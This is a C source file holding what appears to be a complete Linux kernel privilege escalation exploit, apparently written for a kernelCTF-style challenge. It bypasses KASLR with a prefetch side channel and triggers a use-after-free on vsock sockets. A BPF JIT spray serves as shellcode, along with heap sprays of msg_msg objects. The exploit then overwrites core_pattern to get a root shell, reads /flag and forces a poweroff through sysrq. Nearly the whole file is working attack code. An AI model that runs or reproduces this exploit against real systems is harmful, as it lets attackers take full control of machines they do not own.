#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syscall.h>
#include <sys/mman.h>
#include <err.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <sys/resource.h>
#include <sys/msg.h>
#include <string.h>
#include <sys/sendfile.h>
#include <errno.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/vm_sockets.h>

// sizeof(struct msg_msg) == 0x30
#define MSG_MSG_SIZE 0x30

// kmalloc-cg-1k cache object size is 1024
#define KMALLOC_CG_1k 1024

// struct vsock_sock {
//         struct sock                sk __attribute__((__aligned__(8))); /*     0   816 */
//         /* --- cacheline 12 boundary (768 bytes) was 48 bytes ago --- */
//         const struct vsock_transport  * transport;       /*   816     8 */
//         struct sockaddr_vm         local_addr;           /*   824    16 */
//
//		...
//		const struct vsock_transport  * transport;       /*   816     8 */
//

#define TRANSPORT_OFFSET_IN_1024 816

// Based on our multiple experiment, the msg_msg has high chance allocate at KERNEL_PHYS_MAP + OUR_GUESSED_OFFSET
#define OUR_GUESSED_OFFSET 0x50000000

// Based on our multiple experiment, the kernel heap address leaked from sidechannel is KERNEL_PHYS_MAP + LEAKED_OFFSET
#define LEAKED_OFFSET 0x100000000

#define SYSCHK(x) ({              \
	typeof(x) __res = (x);        \
	if (__res == (typeof(x))-1)   \
		err(1, "SYSCHK(" #x ")"); \
	__res;                        \
})

#define PAUSE           \
	{                   \
		int x;          \
		printf(":");    \
		read(0, &x, 1); \
	}

struct msg
{
	long mtype;
	char mtext[0x2000];
};
char buf[0x1000];

int vsock_bind(unsigned int cid, unsigned int port, int type)
{
	struct sockaddr_vm sa = {
		.svm_family = AF_VSOCK,
		.svm_cid = cid,
		.svm_port = port,
	};

	int fd = SYSCHK(socket(AF_VSOCK, type, 0));
	SYSCHK(bind(fd, (struct sockaddr *)&sa, sizeof(sa)));

	return fd;
}
int vsock_connect_fd(int fd, unsigned int cid, unsigned int port)
{
	struct sockaddr_vm sa = {
		.svm_family = AF_VSOCK,
		.svm_cid = cid,
		.svm_port = port,
	};
	int ret;

	do
	{
		ret = connect(fd, (struct sockaddr *)&sa, sizeof(sa));

	} while (ret < 0 && errno == EINTR);

	return ret;
}

#define KERNEL_LOWER_BOUND 0xffffffff80000000ull
#define KERNEL_UPPER_BOUND 0xffffffffc0000000ull

#define STEP_KERNEL 0x100000ull
#define SCAN_START_KERNEL KERNEL_LOWER_BOUND
#define SCAN_END_KERNEL KERNEL_UPPER_BOUND
#define ARR_SIZE_KERNEL (SCAN_END_KERNEL - SCAN_START_KERNEL) / STEP_KERNEL

#define PHYS_LOWER_BOUND 0xffff888000000000ull
#define PHYS_UPPER_BOUND 0xfffffe0000000000ull

#define STEP_PHYS 0x40000000ull
#define SCAN_START_PHYS PHYS_LOWER_BOUND
#define SCAN_END_PHYS PHYS_UPPER_BOUND
#define ARR_SIZE_PHYS (SCAN_END_PHYS - SCAN_START_PHYS) / STEP_PHYS

#define DUMMY_ITERATIONS 5
#define ITERATIONS 100

uint64_t kaslr;
uint64_t phys;

// https://www.willsroot.io/2022/12/entrybleed.html
uint64_t sidechannel(uint64_t addr)
{
	uint64_t a, b, c, d;
	asm volatile(".intel_syntax noprefix;"
				 "mfence;"
				 "rdtscp;"
				 "mov %0, rax;"
				 "mov %1, rdx;"
				 "xor rax, rax;"
				 "lfence;"
				 "prefetchnta qword ptr [%4];"
				 "prefetcht2 qword ptr [%4];"
				 "xor rax, rax;"
				 "lfence;"
				 "rdtscp;"
				 "mov %2, rax;"
				 "mov %3, rdx;"
				 "mfence;"
				 ".att_syntax;"
				 : "=r"(a), "=r"(b), "=r"(c), "=r"(d)
				 : "r"(addr)
				 : "rax", "rbx", "rcx", "rdx");
	a = (b << 32) | a;
	c = (d << 32) | c;
	return c - a;
}

uint64_t prefetch(int phys)
{
	uint64_t arr_size = ARR_SIZE_KERNEL;
	uint64_t scan_start = SCAN_START_KERNEL;
	uint64_t step_size = STEP_KERNEL;
	if (phys)
	{
		arr_size = ARR_SIZE_PHYS;
		scan_start = SCAN_START_PHYS;
		step_size = STEP_PHYS;
	}

	uint64_t *data = malloc(arr_size * sizeof(uint64_t));
	memset(data, 0, arr_size * sizeof(uint64_t));

	uint64_t min = ~0, addr = ~0;

	for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++)
	{
		for (uint64_t idx = 0; idx < arr_size; idx++)
		{
			uint64_t test = scan_start + idx * step_size;
			syscall(104);
			uint64_t time = sidechannel(test);
			if (i >= DUMMY_ITERATIONS)
				data[idx] += time;
		}
	}

	for (int i = 0; i < arr_size; i++)
	{
		data[i] /= ITERATIONS;
		if (data[i] < min)
		{
			min = data[i];
			addr = scan_start + i * step_size;
		}
	}

	free(data);

	return addr;
}

size_t KERNEL_BASE = 0xffffffff81000000;
size_t LEAKED_KHEAP = 0xffff888140000000;
size_t KERNEL_PHYS_MAP = 0xffff888000000000;

// simple most frequent value in array algorithm
size_t mostFrequent(size_t *arr, size_t n)
{
	// code here
	size_t maxcount = 0;
	size_t element_having_max_freq;
	for (int i = 0; i < n; i++)
	{
		size_t Count = 0;
		for (int j = 0; j < n; j++)
		{
			if (arr[i] == arr[j])
				Count++;
		}

		if (Count > maxcount)
		{
			maxcount = Count;
			element_having_max_freq = arr[i];
		}
	}

	return element_having_max_freq;
}
// Since there no KPTI on the remote server (as its CPU is not affected by Meltdown, so the kernel does not turn on KPTI)
// so this is actually prefetch attack. ref: https://gruss.cc/files/prefetch.pdf
void kaslr_bypass()
{
	size_t kbase[0x8] = {0};
	size_t kheap[0x8] = {0};
	for (int i = 0; i < 0x2; i++)
	{
		//		kbase[i] = prefetch(0) - 0x1600000;
		kheap[i] = prefetch(1);
		printf("0x%lx 0x%lx\n", kbase[i], kheap[i]);
	}
	//	KERNEL_BASE = mostFrequent(kbase, 8);
	//	LEAKED_KHEAP = mostFrequent(kheap, 8);
	LEAKED_KHEAP = kheap[0];
	KERNEL_PHYS_MAP = LEAKED_KHEAP - LEAKED_OFFSET;
	printf("choose 0x%lx 0x%lx\n", KERNEL_BASE, LEAKED_KHEAP);
}

#define FIXED_OFFSET 0x140000000
#define PAGE_OFFSET_BASE (LEAKED_KHEAP - FIXED_OFFSET) // physmap base of physical address 0x0
#define TARGET_PHYS_ADDR 0x82e2380					   // high probability addr we found msg_msg after spray 794MB msg
#define PHYS_ADDR_MSG (PAGE_OFFSET_BASE + TARGET_PHYS_ADDR)

#define NUM_QUEUE_MAX 32000
#define NUM_QUEUE_RESV 100 // reserved for exploitation
#define NUM_QUEUE (NUM_QUEUE_MAX - NUM_QUEUE_RESV)
#define NUM_MSG 204
#define CHUNK_SIZE 0x80
#define MSG_SIZE (CHUNK_SIZE - 0x30)

#define  GUESS_EBPF_FUNCTION (0xffffffffcc000000 - 0x800)

// Spray as many anonymous memory as possible to full the kernel heap memory
int spray_anon_map()
{
	size_t *addr = SYSCHK(mmap(0, 0x30000000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON, -1, 0));
	for (int i = 0; i < 0x30000000 / 8; i++)
	{
		addr[i] = GUESS_EBPF_FUNCTION;
	}
}

#define MAX_PORT_RETRIES 24 /* net/vmw_vsock/af_vsock.c */

void set_cpu(int c)
{
	cpu_set_t mask;
	CPU_ZERO(&mask);
	CPU_SET(c, &mask);
	sched_setaffinity(0, sizeof(mask), &mask);
}

struct sock_filter filter[0x1000];

int sc(void)
{
	int stopfd[2];
	SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, stopfd));
	unsigned int prog_len = 0x900;
	/* In current environment, the max instructions in a program is near 0x900
	And we test 0x900 instructions * 0x50 forks * 0x100 sockets * 4 = 180 MB is enough large to spray and worked reliably
	*/
	struct sock_filter table[] = {
		{.code = BPF_LD + BPF_K, .k = 0xb3909090},
		{.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}};

	/* 0xb3909090 is NOPsled shellclode to make exploitation more reliable
90       nop
90       nop
90       nop
b3 b8    mov    bl, 0xb8
*/
	for (int i = 0; i < prog_len; i++)
		filter[i] = table[0];

	filter[prog_len - 1] = table[1];
	int idx = prog_len - 2;

#include "sc.h"

	struct sock_fprog prog = {
		.len = prog_len,
		.filter = filter,
	};
	int fd[2];
	for (int k = 0; k < 0x50; k++)
	{

		if (fork() == 0) // use fork to bypass RLIMIT_NOFILE limit.
		{
			close(stopfd[1]);
			for (int i = 0; i < 0x100; i++)
			{
				SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, fd));
				SYSCHK(setsockopt(fd[0], SOL_SOCKET,
								  SO_ATTACH_FILTER, &prog,
								  sizeof(prog)));
			}
			write(stopfd[0], buf, 1);
			read(stopfd[0], buf, 1);
			exit(0);
		}
	}
	/* wait for all forks to finish spraying BPF code */
	read(stopfd[1], buf, 0x50);
}

int check_core()
{
	// Check if /proc/sys/kernel/core_pattern has been overwritten
	char buf[0x100] = {};
	int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
	read(core, buf, sizeof(buf));
	close(core);
	return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}
void crash(char *cmd)
{
	int memfd = memfd_create("", 0);
	SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
	dup2(memfd, 666);
	close(memfd);
	while (check_core() == 0)
		sleep(1);
	puts("Root shell !!");
	/* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */
	*(size_t *)0 = 0;
}
int main(int argc, char **argv)
{

	// kaslr_bypass();

	int cross[0x1000];
	int msqid[0x4000];

	int sockets[MAX_PORT_RETRIES];
	struct sockaddr_vm addr;
	struct msg msg = {.mtype = 1};

	struct rlimit rlim = {
		.rlim_cur = 0x1000,
		.rlim_max = 0x1000};

	setvbuf(stdout, 0, 2, 0);
	SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim));

	if (argc > 2)
	{
		// #define SYS_pidfd_getfd 438
		int pid = strtoull(argv[2], 0, 10);
		int pfd = syscall(SYS_pidfd_open, pid, 0);
		int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
		int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
		int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
		dup2(stdinfd, 0);
		dup2(stdoutfd, 1);
		dup2(stderrfd, 2);
		/* Get flag and poweroff immediately to boost next round try in PR verification workflow*/
		system("cat /flag;echo o>/proc/sysrq-trigger");
		execlp("bash", "bash", NULL);
	}

	if (fork() == 0) // this process is used to trigger core_pattern exploit
	{
		set_cpu(1);
		setsid();
		crash("");
	}

	set_cpu(0);

	for (int i = 0; i < 0x4000; i++)
	{
		msqid[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
		SYSCHK(msqid[i]);
	}

	char *core = mmap((void *)0xa00000, 0x2000, PROT_READ | PROT_WRITE,
					  MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0);

	// put payload string into known address which will used by ebpf shellcode
	strcpy(core, "|/proc/%P/fd/666 %P %P");

	sc(); // spray ebpf program

	spray_anon_map();

	size_t gussed_heap_addr = KERNEL_PHYS_MAP + OUR_GUESSED_OFFSET;

	char *payload = (void *)&msg.mtext[-0x30];
	//
	// struct vsock_sock {
	//	struct sock                sk;                   /*     0   816 */
	//	/* --- cacheline 12 boundary (768 bytes) was 48 bytes ago --- */
	//	const struct vsock_transport  * transport;       /*   816     8 */
	//

	*(size_t *)(payload + TRANSPORT_OFFSET_IN_1024) = gussed_heap_addr;

	int fd = vsock_bind(VMADDR_CID_ANY, VMADDR_PORT_ANY, SOCK_STREAM);

	int alen = sizeof(addr);

	SYSCHK(getsockname(fd, (struct sockaddr *)&addr, &alen));

	for (int i = 0; i < MAX_PORT_RETRIES; ++i)
		sockets[i] = vsock_bind(VMADDR_CID_ANY, ++addr.svm_port,
								SOCK_STREAM);

	close(fd);

	// Allocate some `struct vsock_sock` before victim
	for (int i = 0; i < 0x100; i++)
		cross[i] = SYSCHK(socket(AF_VSOCK, SOCK_STREAM, 0));

	fd = SYSCHK(socket(AF_VSOCK, SOCK_STREAM, 0));

	// Allocate some `struct vsock_sock` after victim
	for (int i = 0; i < 0x100; i++)
		cross[i + 0x100] = SYSCHK(socket(AF_VSOCK, SOCK_STREAM, 0));

	vsock_connect_fd(fd, addr.svm_cid, addr.svm_port);

	// free all `struct vsock_sock`
	for (int i = 0; i < 0x100; i++)
		close(cross[i]);

	vsock_connect_fd(fd, VMADDR_CID_HOST, VMADDR_PORT_ANY);

	// free all `struct vsock_sock`
	for (int i = 0; i < 0x100; i++)
		close(cross[i + 0x100]);

	for (int i = 0; i < 0x4000; i++)
		SYSCHK(msgsnd(msqid[i], &msg, KMALLOC_CG_1k - MSG_MSG_SIZE, 0));

	close(fd);
}
